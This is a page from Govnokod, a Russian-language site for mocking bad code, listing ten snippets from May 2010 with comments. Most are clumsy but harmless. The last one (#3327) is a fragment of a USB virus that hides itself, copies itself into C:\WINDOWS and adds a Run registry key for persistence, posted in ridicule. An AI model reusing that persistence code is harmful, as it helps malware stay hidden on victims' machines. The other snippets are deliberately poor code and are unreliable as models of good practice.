1. Java / Говнокод #3336

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (digitsStr.length() < 7) {
    	return "+" + digitsStr.substring(0, 1) + "-" + digitsStr.substring(1, 2) + "-" + digitsStr.substring(2);
    } else {
    	return "+" + digitsStr.substring(0, 3) + "-" + digitsStr.substring(3, 6) + "-" + digitsStr.substring(6);
    }

    свежий кал коллеги

    Lure Of Chaos, 27 Мая 2010

    Комментарии (17)
  2. Python / Говнокод #3335

    −115

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    import xml.parsers.expat
    
    text = 'lol'
    booltext = 'false'
    
    subs_temp = open('subs_temp.txt','w')
    
    def start_element(name, attrs):
    	if (name == 'rectRegion' and attrs['h']=='7.222' and attrs['y']=='92.778'):
    		subs_temp.write(attrs['t'] + '\n')
    		global text
    		subs_temp.write(text + '\n')
    	elif (name == 'TEXT'):
    		global booltext
    		booltext = 'true'
    		
    	#subs.write(name+'\n')
    	#print(attrs)
    
    def char_data(data):
    	global text
    	global booltext
    	if (booltext == 'true'):
    		text = data
    		booltext = 'false'
    
    p = xml.parsers.expat.ParserCreate("UTF-8")
    
    p.StartElementHandler = start_element
    p.CharacterDataHandler = char_data
    
    p.ParseFile(open("yt.xml", 'rb'))
    
    subs_temp.close()
    
    subs_temp = open('subs_temp.txt','r')
    subs = open('subs.txt','w')
    
    num = 1
    
    while num <= 44:
    	time1 = subs_temp.readline()
    	text = subs_temp.readline()
    	time2 = subs_temp.readline()
    	text = subs_temp.readline()
    
    	subs.write(str(num))
    	subs.write('\n0')
    	subs.write(time1[:-1])
    	subs.write('00 --> ')
    	subs.write(time2[:-1])
    	subs.write('00\n')
    	subs.write(text)
    	subs.write('\n')
    	
    	num+=1

    Нус, зацените мой первый опыт с питоном. Говнецо редкое, жаль просто так смывать. Так что пусть полежит здесь.

    dageru, 27 Мая 2010

    Комментарии (29)
  3. C# / Говнокод #3334

    +124

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    char arr[] = ... // Здесь происходит чтение массива, неважно как
    string result = "";
    for(int i = 0; i < arr.Length; i++) 
    {
        result += Char.ToString(arr[i]);
    }
    
    Console.WriteLine(result);

    Что интересно, автор уже пол года на C# пишет, до этого 2 года на Java. Решение ко всему прочему еще и очевидно с квадратичной сложностью. А должно быть, естественно Console.WriteLine(new String(array));

    theos, 27 Мая 2010

    Комментарии (52)
  4. Java / Говнокод #3333

    +94

    Поне снова с вами!
    private static String PUBLIC = "public";
    private static boolean isPublic( String addressingType ) {
      return "public".equals( addressingType ) || addressingType == null;
    }

    raorn, 27 Мая 2010

    Комментарии (336)
  5. Java / Говнокод #3332

    +75

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    public void logoutSession(String sessionId)
    throws SerializableException
    {
            if (sessionId==null) {
                    throw new SerializableException("Invalid RPC arguments: sessionId is missing");
            }
            SessionInfo session = (SessionInfo)sessions.get(sessionId);
            if (session!=null) {
                    sessions.remove(sessionId);
                    SessionInfo old = (SessionInfo)sessions.get(sessionId);
            }
    }

    raorn, 27 Мая 2010

    Комментарии (11)
  6. C# / Говнокод #3331

    +131

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    object FirstElement = null;
    foreach(var item in SomeCollection)
       {
           FirstElement = item;
           break;
       }

    Ось так от береться перший елемент з колекції :)

    O_O, 26 Мая 2010

    Комментарии (47)
  7. SQL / Говнокод #3330

    −854

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    Select  *
    From Table1
    Where ( 
                   (id = 2000)
                        or
                    id = ( Select max(id) from Table1 )
                  )

    а я дивувався, чому цей код в табличці > 300 000 записів виконується так довго ...

    O_O, 26 Мая 2010

    Комментарии (15)
  8. Pascal / Говнокод #3329

    +86

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    procedure Click(H: hWnd);
    begin
      SendMessage(H, wm_LButtonDown, 0, 0);
      SendMessage(H, wm_LButtonUp, 0, 0);
    end;

    Как я круто по-хакерски сэмулировал нажатие на кнопку или на радиобаттон.

    TarasB, 26 Мая 2010

    Комментарии (30)
  9. Pascal / Говнокод #3328

    +107

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    var
      OGTC: cardinal; // для сверки с таймером
    
    procedure CheckPhys;
    begin
      if OGTC < GetTickCount then begin
        Phys;   // тут считается вся игровая физика и все изменения состояний. Звуки тоже здесь.
        Inc(OGTC, dT);
      end;
    end;
    
    procedure Graph;     // процедура отрисовки графики
    var
      i: integer;
    begin
      CheckPhys;
      for i := 0 to ItemCount - 1 do with Items[i]^ do CopyPosition := Position; // делаем копию состояния перед отрисовкой мира!
      for i := 0 to ItemCount - 1 do begin
        ShowItem(Items[i]^);           // рисуем элемент мира
        CheckPhys;                     // проверяем, не пора ли снова считать физику
      end;
    end;
    
    procedure OnIdle;
    begin
      if PlayingGame then Graph;
    end;

    Надо, чтобы в игре скорость игрового процесса не зависела от тормозов графики. Даже когда кадр долго рисуется, звуки и движения делаются строго по таймеру. Создавать лишний поток мне в лом, и вообще я дико боюсь приколов с синхронизациями и так далее. Поэтому сделал такую хрень. Сэмулировал многопоточность банальным однопоточным кодом.

    TarasB, 26 Мая 2010

    Комментарии (129)
  10. C++ / Говнокод #3327

    +168

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    void __fastcall TForm1::FormCreate(TObject *Sender)
    {
    Application->ShowMainForm=false; //прячимся
    
    // Осваеваемся в новой системе
    if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V.exe") {
    //скопируемся
    CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill_USB_Flash_V.exe",true);
    //и пропишимся в автозагрузку:
    TRegistry *reg=new TRegistry;
    reg->RootKey=HKEY_LOCAL_MACHINE;
    reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
    reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
    reg->CloseKey();
    reg->Free();
    }

    ПРЯЧИМСЯ (с) всеми извесный убиватель интернетов и "пейсатель" вирусов, которые грузятся с флэшки, бугога. Самый няшный кусочек :-) Хотя там ещё было убер заражение подключённых устройств. Судите сами господа http://3.webkill.ru/flash_virus.html

    This is obvious, 26 Мая 2010

    Комментарии (40)